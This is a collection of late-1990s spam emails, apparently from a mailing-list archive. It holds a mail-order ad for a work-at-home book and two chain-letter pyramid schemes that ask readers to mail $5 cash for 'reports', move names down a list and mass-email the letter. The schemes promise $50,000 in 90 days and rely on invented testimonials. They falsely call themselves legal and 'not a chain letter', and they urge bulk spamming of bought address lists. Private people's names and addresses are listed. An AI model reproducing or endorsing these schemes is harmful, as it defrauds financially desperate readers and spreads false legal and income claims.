      My name is Henry Summers. I investigate income opportunities
 that are advertised in magazines or by mail or are listed in home work
 directories and other sources.

      Then I talk to people who are actually using these opportunities. I ask
 how much money they make... and whether they enjoy the work. This helps
 me direct you to the best opportunities that are available today. Ones that
 people are using right now to earn all the money they want.

 Get Paid For Stuffing Envelopes.
 No Fees. Nothing To Buy.

      This easy work is very appealing, but most people do not know
 how to get it. That's because so many of the envelope stuffing programs
 being advertised are not what you expect. And you don't find that out
 until after you send in your money.

       Let me tell you the real facts. With true envelope stuffing...

       * You do not need to pay any fee or buy any materials to get started.
       * You do not do any advertising or handle any orders.
       * All printing, postage, and mailing lists are supplied free by
          the companies that pay you.
       * Your pay is based entirely on how many envelopes you complete.

      Rosie Martinez is an example of someone who earns money stuffing
 envelopes. The company delivers all the materials right to her door.
 She stuffs the envelopes, seals them, and applies the mailing labels
 and postage stamps that are supplied. Then she gets paid for every
 envelope completed.

      Rosie says, "I'm retired, and I enjoy having something to do.
                          I usually watch television while I work. The
                          home shopping  shows are much more fun now
                          that I have money to spend."

      If you'd like to do this kind of work, just follow the directions in
 Chapter 3 of my book "Real Home Income". Or try any of the other
 opportunities covered.

      Hundreds of companies are ready to help you make money. I'll
 tell you what each one has available now.

      Choose the kind of work you like and write to the companies who
 offer it. Pick any you want. You can work as an independent contractor for
 as many companies as you have time for.

      There are no qualifications to meet, so you will not be turned
 down. I guarantee it. If you don't like one company or you want to make
 more money, there are plenty of others you can try.

 Get Paid For Assembling Miniatures

      Gina Walker of Texas likes to assemble miniature furniture for doll houses.
 All the necessary materials are supplied by the company that
 pays her. She puts them together and sends them back to the company.

      Everything is conveniently handled by mail and UPS. The company
 sends her a nice pay check for each batch she completes.

      Gina says: "I really like the work, and the extra money helps
                       pay my bills. I'm glad I found out about these companies."

      You can get paid the same way. And you don't have to make miniatures.
 You can choose from many other types of work. You can sew baby
 bonnets, assemble beaded jewelry, crochet doll clothes, make wooden
 items, assemble stuffed animals, paint figurines, weave rattan reed,
 and many more.

     You get the names and addresses of over 50 companies that will pay
for things you make or assemble at home. No experience is required,
and it makes no difference where you live.

     Almost all the companies supply the needed materials. Just do the
work and get paid for each batch you send back. Wouldn't you like to
get those pay checks? I'll show you how to get started fast.

How I Made $800.00 Per Week After Losing My Job

     I became interested in home income opportunities several years
ago when I lost my job. I sent for dozens of money making offers. Most
were totally worthless. Others did not appeal to me.

     But circular mailing caught my interest... and it actually
worked. In just six weeks, I was making over $800.00 a week working
part time at home. It was better than my previous job. I soon paid off
my bills and bought a new car.

     Yet that was only the beginning. As I learned more about it and
tried different things, the money poured in even faster. It made a
huge difference when I applied certain secrets that are used by the
experts. I was amazed at how profitable it could be.

     In "Real Home Income" you'll learn how to use those secrets
yourself. I'll tell you which companies to contact to get started.
I'll show you some simple steps you can take to double your income
without doing any more work.

      If you want, you can do all of this without handling any
orders. Your name and address does not have to appear on anything you
mail. You just mail circulars for companies and receive nice fat
checks from them.

     With my proven methods, you can soon be earning more money than
you ever imagined. Just follow my directions, and you can start
receiving checks from the same companies I do.

Receive One Dollar For Each Envelope You Stuff.
Envelopes Come To You Already Stamped And Addressed.

     This easy work is advertised by over thirty- five companies. But
they require that you pay $25.00 to $45.00 to register in their
program. And then the program seldom turns out to be what you'd
expect.

     That's where my book can help out. I describe the three kinds of
mail programs that pay one dollar per envelope. But there is only ONE
that I recommend. Not only is it more profitable overall, but you
don't have to pay any fee to do it. Not even a dollar. Read about "The
World's Best Dollar- Per- Envelope Program" in Chapter 4.

How To Avoid Disappointment

     So many worthless offers are commonly advertised that many
people give up before they come across a good one. That won't happen
to you when you have my book.

     It tells you exactly how to recognize and avoid worthless
offers. The most common ripoffs are covered in detail. This knowledge
 can save you a great deal of time and money.

     You can then take advantage of the many practical, down- to-
earth opportunities that are described. Ones that enable you to start
making money fast. Even just one extra source of income can make a big
difference in your standard of living.

Start To Earn Money In 48 Hours

     When you get the book, look over the many excellent
opportunities. Each listing includes a brief description of what is
offered. Write to the companies you like and request an application
form. They have openings right now, and they'll be happy to get you
started.

     You can begin to make money even faster if you choose one of the
programs or plans that the book describes in detail. I'll tell you
everything you need to know to get started. By taking a few simple
steps, you can already be making money just 48 hours after you receive
the book.

Unlimited No Nonsense Guarantee

    "Real Home Income" costs just $29.95 plus $3.00 for postage and
handling. I'm so confident you can make the money I've talked about
that I back it with a lifetime, money- back guarantee. If at any time
you feel the book has not helped you make all the money you want, just
send it back. I'll promptly send you a full refund of everything you
paid, including postage and tax.

     Start to enjoy more income and a better life as soon as
possible. Please complete the order form and mail it today.
Everything will be rushed to you by first class mail.


                                                           Sincerely,
                                                           Henry Summers

     P.S. I've recently discovered an amazingly profitable
            opportunity. One person I talked to made $20,000 in his
            first six weeks... working right at home in his spare
            time. It is not multi- level marketing. I've never seen
            anything like it before. I'l give you a toll free number
            to call so you can get started.



                          Please Print and Mail This Order Form to: 

-------------------------------------------------------------------------------------------------
ADVANCED NETWORK PROMOTIONS                           # 305   
P.O. Box 712102  
Santee, CA 92072- 2102                             

                      ( ) Yes, I would like to get started. Please rush me                       
                          "Real Home Income" under your lifetime money-
                           back guarantee. Enclosed is $29.95 plus $3.00 for
                           postage and handling.*  $32.95 total. (If you live in
                           California, please send $34.95)                             

          *Checks may be made payable to Advanced Network Promotions

Name____________________________________________ 


Address___________________________________________                              


City, State, Zip_____________________________________    
                                                    Internal Code [E8(3p)SB724]
-------------------------------------------------------------------------------------------------































From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 22762705@09872.com
Date: Wed, 23 Jul 1997 20:47:12 -0700 (PDT)
To: thanks@reader.com
Subject: God Blessed Us and We're Sharing
Message-ID: <199702170025.GAA08056@mailcenter1.net>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
>>> MAKE $36,000 in 14 WEEKS <<<

<< Just what you needed, just when you needed it! >>

The main reason for this letter is to convince you that this system is honest, lawful, extremely profitable, and is a way to get a large amount of money in a short time.  I was approached several times before I checked this out.  I joined just to see what one could expect in return for the minimal effort and money required.  Initially I let no one in the organization know that I was an attorney and, to my astonishment, I received $36,470.00 in the first 14 weeks, with money still coming in.

Sincerely yours, Phillip A. Brown


"Please Read This Twice!"

Dear friend,

*** Print This Now For Future Reference ***

The following income opportunity is one you may be intersested in  taking a  look at. It can be started with VERY LITTLE investment and the income return
is TREMENDOUS!!!

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

You are about to make at least $50,000 in less than 90 days!
Please read the enclosed program...THEN READ IT AGAIN!!!

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

This is a MONEY-MAKING PHENOMENON. PRINT this letter,
read the program... THEN READ IT AGAIN !!!

You are looking at the most profitable and unique program you may ever see.  It has demonstrated and proven ability to generate large sums of money.  This program is showing fantastic appeal with a huge and ever growing population which needs additional income.

This is a legitimate LEGAL money-making opportunity.  It does not require you to come in contact with people, do any hard work, and best of all, you never have to leave the house, except to get the mail.  If you believe that some day you will get that lucky break that you have been waiting for, THIS IS IT!  Simply follow the easy instructions, and your dream will come true!  This electronic multi-level marketing program works perfectly...100% EVERY TIME!

Thousands of people have used this program to raise capital to start their own business, pay off debts, buy homes, cars, etc., even retire! This is your chance, so don't pass it up.

OVERVIEW OF THIS EXTRAORDINARY ELECTRONIC MULTI-LEVEL MARKETING PROGRAM

Basically, this is what we do:  We sell thousands of people a product for $5.00 that costs us next to nothing to produce and e-mail.  As with all multi-level businesses, we build  our business by recruiting new partners and selling our products.  Every state in the U.S. allows you to recruit new multi- level business online (with your computer).

The product in this program is a series of four businesses and financial reports.  Each $5.00 order you receive by "snail mail" will include the e-mail address of the sender.  To fill each order, you simply e-mail the product to the buyer.  THAT'S IT!...the $5.00 is yours!  This is the GREATEST electronic multi-level marketing business anywhere!

FOLLOW THE INSTRUCTIONS EXACTLY!
Let's face it, the profits are worth it!  THEY'RE TREMENDOUS!!!
So go for it.  Remember the 4 points and we'll see YOU at the top!


******* I N S T R U C T I O N S *******

This is what you MUST do:

1.  Order all 5 reports listed and numbered from the list below.
    For each report send $5.00 CASH, YOUR E-MAIL ADDRESS and S.A.S.E
    (Self addressed stamped envelope).  For international orders,
    please include extra postage (about $1.00) on the S.A.S.E as well.

    When you order, make sure you request each SPECIFIC report.  You
    will need all five reports, because you will be saving them on
    your computer and reselling them.

2.  IMPORTANT--DO NOT alter the names, or their sequence other than
    instructed in this program! Or you will not profit the way you
    should.

    Replace the name and address under REPORT #1 with yours, moving
    the one that was there down to REPORT #2.  Move the name and
    address under REPORT #2 to REPORT #3.  Move the name and address
    under REPORT #3 to REPORT #4.  Move the name and address under
    REPORT #4 to REPORT #5.  The name and address that was under
    REPORT #5 is dropped off the list and is NO DOUBT on the way to
    the bank.

    When doing this, please make certain you copy everyone's name
    and address ACCURATELY!!!  Also, DO NOT move the Report/Product
    positions!

3.  Take this entire program text, including the corrected names list,
    and save it on your computer.

4.  Now you're ready to start a massive advertising campaign on the
    WORLDWIDE WEB!  Advertising on the WEB is very, very inexpensive,
    but there are HUNDREDS of FREE places to advertise also.  Another
    avenue which you could use is e-mail mailing lists.  You can buy
    these lists for under $20/1,000 addresses.  START YOUR AD CAMPAIGN
    AS SOON AS YOU CAN.

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!
 
                           REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND  $5 CASH (Concealed) FOR EACH ORDER REQUESTING THE SPECIFIC REPORT BY NAME AND NUMBER. ALWAYS SEND FIRST CLASS OR PRIORITY MAIL AND PROVIDE YOUR E-MAIL ADDRESS FOR QUICK DELIVERY.

 ________________________________________________________

 REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

 ORDER REPORT #1 FROM:
 
 Erika Fittro
 PO Box 38212
 Germantown, TN  38183-0212
 ________________________________________________________
 
 REPORT #2
 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

 ORDER REPORT #2 FROM:

 Versatile Marketing
 PO Box 1126
 Coventry, RI  02816-0019
 ________________________________________________________
 
 REPORT#3
 "SOURCES FOR THE BEST MAILING LISTS"
 
 ORDER REPORT #3 FROM
 
 Mike Smith
 2576 Prince Rupert #4
 Memphis, TN   38128
  ________________________________________________________
 
 REPORT #4
 "EVALUATING MULTI-LEVEL SALES PLANS"
 
 ORDER REPORT #4 FROM:
 
 Bret James
 108 Windmill Cove
 Georgetown, TX  78628
 ________________________________________________________
 
 REPORT #5
 "Bulk Emailing"
 
 ORDER REPORT #5 FROM:
 
 Mike Smith
 107 Virgina
 Sturgis, MI 49091
 ________________________________________________________
________________________________________________________

HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$

Let's say you decide to start small just to see how it goes.  Assume your goal is to get 10 people to participate on your first level.  (Placing a lot of FREE ads on the internet could EASILY get a better response.)  Also assume that everyone else in YOUR BUILDING ORGANIZATION gets ONLY 10 downline members.  Follow this example for the STAGGERING results below.

1st level -- 10 members with $5  ($5 x 10)                     $50
2nd level -- 10 members from those 10 ($5 x 100)              $500
3rd level -- 10 members from those 100 ($5 x 1,000)         $5,000
4th level -- 10 members from those 1,000 ($5 x 10,000)     $50,000

THIS TOTALS --> $55,550

Remember friends, this is assuming that the people who participate only recruit 10 people each.  Dare to think for a moment what would happen if everyone got 20 people to participate!  Some people get 100's of recruits!  THINK ABOUT IT!

By the way, your cost to participate in this is practically nothing.  You obviously already have an internet connection and email is FREE!!!  REPORT#3 will show you the best methods for bulk emailing and purchasing email lists.

REMEMBER:  Approx. 50,000 new people get online monthly!

ORDER YOUR REPORTS NOW!!!


*******TIPS FOR SUCCESS*******

TREAT THIS AS YOUR BUSINESS!  Send for the four reports IMMEDIATELY, so you will have them when the orders start coming in because: When you receive a $5 order, you MUST send out the requested product/report to comply with the U.S. Postal & Lottery Laws, Title 18, Sections 1302 and 1341 or Title 18, Section 3005 in the U.S. Code, also Code of Federal Regs. vol. 16, Sections 255 and 436, which state that "a product or service must be exchanged for money received."

*  ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.

*  Be patient and persistent with this program.  If you follow the instructions exactly the results WILL undoubtedly be SUCCESS!

*  ABOVE ALL, HAVE FAITH IN YOURSELF THAT YOU CAN SUCCEED!


*******YOUR SUCCESS GUIDELINE*******

The check point that guarantees your success is simply this:  You MUST receive 10 to 20 orders for REPORT #1!  THIS IS A MUST!  If you don't within two weeks, advertise more and send out more programs until you do.  Then, a couple of weeks later you should receive at least 100 orders for REPORT #2.  If you don't, advertise more and send out more programs until you do.  Once you have received 100, or more orders for REPORT #2, YOU CAN RELAX, because you will be on your way to the BANK!  -OR-  You can DOUBLE your efforts!

REMEMBER:  Every time your name is moved down on the list you are in front of a DIFFERENT report, so you can KEEP TRACK of your PROGRESS by what report people are ordering from you. IT'S THAT EASY!!!

NOTE:  IF YOU NEED HELP with starting a business, registering a business name, how income tax is handled, etc., contact your local office of the Small Business Administration (a Federal agency) for free help and answers to questions.  Also, the Internal Revenue Service offers free help via telephone and free seminars about business taxes.


******* T  E  S  T  I  M  O  N  I  A  L  S *******


This program does work, but you must follow it EXACTLY! Especially the rule of not trying to place your name in a different position, it won't work, you'll lose a lot of money.  I'm living proof that it works.  It really is a great opportunity to make relatively easy money, with little cost to you.  If you do choose to participate, follow the program exactly, and you'll be on your way to financial security.  If you are a fellow Christian and are in financial trouble like I was, consider this a sign.  I DID!
        Good Luck & God Bless You,
        Sincerely, Chris Johnson

P.S.  Do you have any idea what 11,700 $5 bills ($58,500) looks like piled up on the kitchen table?...IT'S AWESOME!


My name is Frank.  My wife Doris and I live in Bel-Air, MD.  I am a cost accountant with a major U.S. Corporation and I make pretty good money.  When I received the program I grumbled to Doris about receiving "junk mail"!  I made fun of the whole thing, spouting my knowledge of the population and percentages involved.  I "knew" it wouldn't work.  Doris totally ignored my supposed intelligence and jumped in with both feet.  I made merciless fun of her, and was ready to lay the old "I told you so" on her when the thing didn't work... well, the laugh was on me!  Within two weeks she had received over 50 responses.  Within 45 days she had received over $147,200 in $5 bills! I was stunned.  I was sure that I had it all figured and that it wouldn't  work...I AM a believer now.  I have joined Doris in her "little" hobby. I did have seven more years until retirement,  but I think of the "rat race" and it's not for me...We owe it all to MLM.
        Frank T., Bel-Air, MD


I just want to pass along my best wishes and encouragement to you.  Any doubts you have will vanish when your first orders come in.  I even checked with the U.S. Post Office to verify that the plan was legal.   It definitely is!  IT WORKS!!!
        Paul Johnson, Raleigh, NC


This is the only realistic money-making offer I've ever received.  I participated because this plan truly makes sense. I was surprised when the $5.00 bills started filling my mail box. By the time it tapered off I had received over 8,000 orders with over $40,000 in cash.  Dozens of people have sent warm personal notes too, sharing the news of their good fortunes!  It's been WONDERFUL.
        Carl Winslow Tulsa, OK


The main reason for this letter is to convince you that this system is honest, lawful, extremely profitable, and is a way to get a large amount of money in a short time.  I was approached several times before I checked this out.  I joined just to see what one could expect in return for the minimal effort and money required.  Initially I let no one in the organization know that I was an attorney and, to my astonishment, I received $36,470.00 in the first 14 weeks, with money still coming in.
        Sincerely yours, Phillip A. Brown


This plan works like GANG-BUSTERS!! So far I have had 9,735 total orders OVER $48,000!!!  I hope I have sparked your own excitement, if you follow the program exactly, you could have the same success I have, if not better. Your success is right around the corner, but you must do a little work.
        Good Luck!  G. Bank


Not being the gambling type, it took me several weeks to make up my mind to participate in this plan.  But conservative that I am I decided that the initial investment was so little that there was just no way that I wouldn't get enough orders to at least get my money back.  Boy I was surprised when I found my medium-size post office box crammed with orders.  After that it got so over-loaded that I had to start picking up my mail at the window.  I'll make more money this year than any 10 years of my life before.  The nice thing about this deal is that it doesn't matter where in the U.S. the people live.  There simply isn't a better investment with a faster return.
        Mary Rockland, Lansing, MI


I had received this program before.  I deleted it, but later I wondered if I shouldn't have given it a try.  Of course, I had no idea who to contact to get another copy, so I had to wait until I was e-mailed another program...11 months passed then it came...I didn't delete this one!...I made $41,000 on the first try!!
        D. Wilburn, Muncie, IN


This is my third time to participate in this plan.  We have quit our jobs, and quite soon we will buy a home on the beach and live off the interest on our money.  The only way on earth that this plan will work for you is if you do it.  For your sake, and for your family's sake don't pass up this golden opportunity.  Remember, when you order your four reports, SEND CASH.  Checks have to clear the bank and create too many delays.  Good luck and happy spending!
        Charles Fairchild, Spokane, WA


Typically when I look at a money-making deal I want to know if the company is strong, will it be here when it's time for my big pay off.  In this crazy thing there is no company intervention for management to blow it.  Just people like me ordering directly from the source!  Interesting...I had a couple of projects I'd been trying to fund to no avail so I thought; Why not give it a try?  Well 2 1/2 weeks later the orders started coming in.  One project is funded and I'm sure the other will be soon!
        Marilynn St. Claire, Logan, UT

====================================================

We could be printing YOUR testimonial next!!!
 
ORDER YOUR REPORTS TODAY AND GET
STARTED DOWN THE ROAD TO YOUR
FINANCIAL FREEDOM!!!



</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff@makemoney.com
Date: Thu, 24 Jul 1997 00:37:36 -0700 (PDT)
To: You!@makemoney.com
Subject: A For-Real Offer
Message-ID: <155027100934.GAA80560@makemoney.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear Entrepreneur,

The following income opportunity is one you may be interested in taking
a look at. If you are not interested, you will not be
contacted by me again; please forgive my intrusion.

<Print then save a .txt copy of this letter, read it twice to really
grasp your chance>

You are about to make at least $50,000 in roughly 90 days. Read the
enclosed program...THEN READ IT AGAIN!...

The enclosed information is something I almost let slip through my
fingers.  Fortunately, sometime later I reread everything and gave some
thought and study to it. I hope you will take advantage of it, too.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

INTRODUCTION:

My name is Christopher Erickson. 

In December of '95 I received this program. I didn't send for it, they
just got my name off a mailing list. THANK GOODNESS FOR THAT! After
reading it several times,to make sure I was reading it correctly, I
couldn't believe my eyes. Here was a MONEY-MAKING PHENOMENON. I could
invest as much as I wanted to start, without putting me further in
debt. After I got a pencil and paper and figured it out, I would at
least get my money back. After determining that the program is LEGAL and
NOT A CHAIN LETTER, I decided, "WHY NOT!"

Initially I sent out 10,000 e-mails. The great thing about e-mail is
that I didn't need any money for printing to send out the program, only
the cost to fulfill my orders.

I found a good program to help do this: "Ready Aim Fire" an e-mail extracting
and mass mail program found at  http://microsyssolutions.com/raf/
There are many others, too.

In less than one week, I was starting to receive orders for REPORT #1.
By Jan 13th, I had received 26 orders for REPORT #1 (a . When you read the
GUARANTEE in the program, you will see that "You must receive 15 to 20
orders for report #1 within two weeks. If you don't, send out more
programs until you do!"  My first step in making $50,000 in 20 to 90
days was done. By Jan 30th, I had received 196 orders for REPORT #2.
If you go back to the GUARANTEE, "You must receive 100 or more orders
for REPORT #2 within 2 weeks. If not, send out more programs." Once you
have 100 orders, the rest is easy, relax, you will make your $50,000
goal! Well I had 196 orders for REPORT #2, 96 more than I needed. So I
sat back and relaxed. By March 19th, of my e-mailing of 10,000, I
received $58,000 with more coming in every day! What if I had mailed out 
20,000? 100,000??? 

Therein lies the beauty of this program...It's just a "numbers game". 
If you don't get enough orders from your first emailing of 5,000 - 10,000, 
JUST EMAIL MORE! The more you send, the more orders you will get. It is 
that simple. A normal response rate, I have learned in my research, is 
between .025% and 3%. Even if you acheive a dismal .001% response rate 
(1 in 1,000), you will still receive 50 orders on an initial emailing of 
50,000... that's more than double the "15 to 20 orders" Guarantee for 
Report #1! Now, let me say that there are bulk email programs downloadable 
from the Web that are capable of sending anywhere from 10,000 to 100,000 
messages per hour. There ya have it.

I paid off ALL of my debts and bought a much-needed new car. Please
take time to read the attached program, IT WILL CHANGE YOUR LIFE
FOREVER! This program does work, but you must follow it EXACTLY!
Especially the rules of not trying to place your name in a different
place. It doesn't work, you will lose out of a lot of money! REPORT #2
explains this. Always follow the guarantee, "15 to 20 orders for REPORT
#1, and 100 or more orders for REPORT #2 and you will make $50,000 or
more in 20-90 days!" I AM LIVING PROOF THAT IT WORKS!!!!!

Sincerely,
Christopher Erickson

(PS  Do you have any idea what 11,700 $5 bills ($58,000) looks like
piled up on a kitchen table? It is AWESOME!)

TESTIMONIALS:

"THREW IT AWAY"
"I had received this program before. I threw it away, but later wondered
if I shouldn't have given it a try. Of course, I had no idea who to
contact to get a copy, so I had to wait until I was e-mailed another
copy of the program. Eleven months passed, then it came. I DIDN'T throw
this one away. I made $41,000 on the first try."

                             Dawn W., Evansville, IN

"NO FREE LUNCH"
"My late father always told me, 'Remember, Alan, there is no free lunch
in life. You get out of life what you put into it'  Through trial and
error and a somewhat slow, frustrating start, I finally figured it out.
The program works very well, I just had to find the right target group
of people to e-mail it to. So far this year, I have made over $63,000
using this program. I know my dad would have been very proud of me."

                            Alan B., Philadelphia, PA

^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^

A Personal Note From the Originator of This Program:

By the time you have read the following information and looked over the
program and reports, you should have concluded that such a program, and
one that is legal, could not have been created by an amateur.

You have just received information that can give you financial freedom
for the rest of your life, with "NO RISK" and 'JUST A LITTLE BIT OF
EFFORT". You can make more money in the next few months than you have
ever imagined.

I should also point that I will not see a penny of your money, nor will
anyone else who has provided testimonial for this program. I have
already made over $4 MILLION dollars! I have retired from the program
after sending out over 16,000 programs. Now I have several offices which
market this and several other programs here in the US and overseas. By
the spring, we wish to market the 'Internet' by a partnership with
AMERICA ON LINE.

Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way.
It works exceedingly well as it is now. Remember to e-mail a copy of
this exciting program to everyone that you can think of. One of the
people you send this out to may send out 50,000...and your name will be
on every one of them! Remember though,the more you send out,the more
potential customers you will reach.

So my friend, I have given you the ideas, information, materials, and
opportunity to become financially independent, IT IS UP TO YOU NOW!

"THINK ABOUT IT"
              
                             Paul Johnson, Raleigh, NC

^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$

Let's say that you decide to start small, just to see how it goes, and
we'll assume you and those involved send out 2,000 programs each. Let's
also assume that the mailing receives a .5% response. Using a good list,
the response could be much better. Also many people will send out
hundreds of thousands of programs instead of 2,000, but continuing with
this example, you send out only 2,000 programs. With a .5% response,
that is only 10 orders for REPORT #1. Those 10 people respond by sending
out 2,000 programs each for a total of 20,000. Out of those, .5% 100
people respond and order REPORT #2. Those 100 mail out 2,000 programs
each for a total of 200,000. The .5% response to that is 1,000 orders
for REPORT #3. Those 1,000 send out 2,000 programs each for a 2,000,000
total. The .5% response to that is 10,000 orders for REPORT #4. That's
10,000 five dollar bills for you. CASH!!!!! Your total income in this
example is $50 + $500 + $5,000 + $50,000 for a total of $55,550!

REMEMBER, FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO
WILL DO ABSOLUTELY NOTHING! DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN
IF EVERYONE OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000!
Believe me, many people will do that and more! By the way, your cost to
participate in this is practically nothing. You obviously already have
an Internet connection and e-mail is free!! REPORT #3 will show
you the best methods for bulk e-mailing and purchasing e-mail lists.

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY. It does not
require you to come in contact with people, do any hard work, and best
of all, you never have to leave the house except to get the mail. If you
believe that someday you'll get that big break that you have been
waiting for, THIS IS IT! Simply follow the instructions, and your dream
will come true. This multi-level e-mail order marketing program works
perfectly...100% EVERY TIME. E-mail is the sales tool of the future. The
longer you wait,the more people will be doing business using e-mail. Get
a piece of the action.

MULTI-LEVEL MARKETING (MLM) has finally gained respectability. It is
being taught in the Harvard Business School, and both Stanford Research
and The Wall Street Journal have stated that between 50% and 65% of all
goods and services will be sold through multi-level methods by the late
1990's. This is a Multi-Billion dollar industry and of the 500,000
millionaires in the US, 20% (100,000) made their fortune in the last
several years in MLM. Moreover, statistics show 45 people become
millionaires every day through Multi-Level Marketing.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

INSTRUCTIONS:

Step (1)  Order all 4 REPORTS listed by NAME AND NUMBER. Do this
          by ordering the REPORT from each of the 4 names listed on
          the next page. For each REPORT, send $5 CASH and a SELF
          ADDRESSED, STAMPED envelope (Business size #10) to the
          person listed for the SPECIFIC REPORT. International
          orders should also include $1 extra for postage. It is
          essential that you specify the NAME and NUMBER of the
          report requested to the person you are ordering from. You
          will need ALL FOUR REPORTS because you will be REPRINTING
          and RESELLING them. DO NOT alter the names or sequence
          other than what the instructions say. IMPORTANT: Always
          provide same-day service on all orders!

Step (2)  Replace the name and address under REPORT #1 (below) with yours,
          moving the one that was there down to REPORT #2. Drop the
          name and address under REPORT #2 to REPORT #3, moving the
          one that was there to REPORT #4. The name and address that
          was under REPORT #4 is dropped from the list and this
          party is no doubt on the way to the bank. When doing this,
          make certain you type the names and addresses ACCURATELY!
          DO NOT MIX UP MOVING PRODUCT/REPORT POSITIONS! The best way to 
          gurantee accuracy is to use your word processor's "cut & paste"
          functions.

Step (3)  Having made the required changes in the name list, save it
          as a (.txt) file in it's own directory to be used with
          whatever e-mail program you like. Again, REPORT #3 will
          tell you the best methods of bulk e-mailing and acquiring
          e-mail lists.

Step (4)  E-Mail a copy of this entire program (all of this is very
          important)to everyone whose address you can get your
          hands on. Start with friends and relatives since you
          can encourage them to take advantage of this fabulous
          money-making opportunity. That's what I did. And they
          love me now, more than ever. Then,e-mail to anyone and
          everyone! Use your imagination! You can get e-mail
          addresses from companies on the Internet who specialize in
          e-mail mailing lists. These are very cheap,100,000
          addresses for around $35.

IMPORTANT: You won't get a good response if you use and old list, so
always request a FRESH,NEW list. You will find out where to purchase
these lists when you order the 4 REPORTS.

ALWAYS PROVIDE SAME DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS:

***Order each REPORT by NUMBER and NAME***

REPORT #1
"How to Make $250,000 Through Multi-Level Sales"

--order Report #1 from:

     Jeff Meyer
     11219 Muriel Ave. Box 450
     Baton Rouge, LA 70816
     U.S.A.


REPORT #2
"Major Corporations and Multi-Level Sales"

--order Report #2 from:

     Marji Zintz
     314 Route 94 South, #48
     Warwick, NY  10990
     U.S.A.


REPORT #3
"Sources For the Best Mailing Lists"

--order Report #3 from:

     M. P. Kiely
     30 Gladys Dr.
     Spring Valley, N.Y. 10977-6025
     U.S.A.


REPORT #4
"Evaluating Multi-Level Sales Plans"

--order Report #4 from:

     J. S. Todd
     P.O. Box 219
     Courtright, ON  N0N 1H0
     Canada
     

CONCLUSION:

I am enjoying my fortune that I made by sending out this program.
You too, will be making money in 20 to 90 days, if you follow
the SIMPLE STEPS outlined in this mailing.

Please reread this material, this is a special opportunity.
If you have any questions, please feel free to contact us at
the FROM address at the beginning of this letter. You will get
a prompt and informative reply.

My method is simple, I will sell thousands of people a product
for $5 that costs me pennies to produce and e-mail. I should also
point out that this program is legal and everyone who participates
WILL make money. This is not a chain letter or pyramid scam.
At times you have probably received chain letters asking you to send
away money, on faith but getting NOTHING in return, NO product
what-so-ever! Not only are chain letters illegal, but the risk of
someone breaking the chain makes them quite unattractive.

You are offering a legitimate product to your people. After they
purchase the product from you, they reproduce more and resell them.
It's simple free enterprise. As you learned from the enclosed
material, the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS
REPORTS. The information contained in these REPORTS will not only
help you in making your participation in this program more rewarding,
but will be useful to you in any other business decisions you make
in the years ahead. You are also buying the rights to reprint all
of the REPORTS, which will be ordered from you by those to whom you
mail this program. The concise 1 and 2 page REPORTS you will be
buying can easily be reproduced at a local copy center for a cost
of about 3 to 5 cents a copy. Best wishes with the program and
good luck!

"IT WAS TRULY AMAZING"

"Not being the gambling type, it took me several weeks to make up my
mind to participate in this program. But conservative as I am, I
decided that the initial investment was so little that there was
no way I could not get enough orders to at least get my money
back. BOY, was I ever surprised when I found my medium sized post
office box crammed with orders! I will make more money this year
than any ten years of my life before."

                             Mary Riceland, Lansing, MI

{{{{{{{TIPS FOR SUCCESS:}}}}}}}

Send for your BUSINESS REPORTS immediately so you will have them when the
orders start coming in. When you receive a $5 order, you MUST
send out the product/service to comply with US Postal and
Lottery laws. Title 18 Sections 1302 and 1341 specifically state
that: "A PRODUCT OR SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED."

WHILE YOU WAIT FOR THE REPORTS TO ARRIVE

1.   Name your new company. You can use your own name if you desire.

2.   Get a post office box. (preferred)

3.   Edit the names and addresses on the program. You must remember,
     your name and address go next to REPORT #1 and the others all
     move down one, with the fourth one being bumped OFF the list.

4.   Obtain as many e-mail addresses as possible to send until you
     receive the information on mailing list companies in REPORT #3.

5.   Decide on the number of programs you intend to send out. The
     more you send, and the quicker you send them, the more money
     you will make!

6.   After mailing the programs, get ready to fill orders.

7.   Copy the 4 REPORTS so you are able to send them out as soon as
     you receive an order. IMPORTANT: ALWAYS PROVIDE SAME DAY
     SERVICE ON ORDERS YOU RECEIVE!

8.   Make certain the letter and reports are neat and legible.

^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^

YOUR GUARANTEE:

The check point which GUARANTEES your success is simply this:
"You must receive 15 to 20 orders for REPORT #1. This is a must!!
If you don't within 2 weeks, e-mail out more programs until you do.
Then a couple of weeks later you should receive at least 100 orders
for REPORT #2, if you don't, send out more programs. Once you have
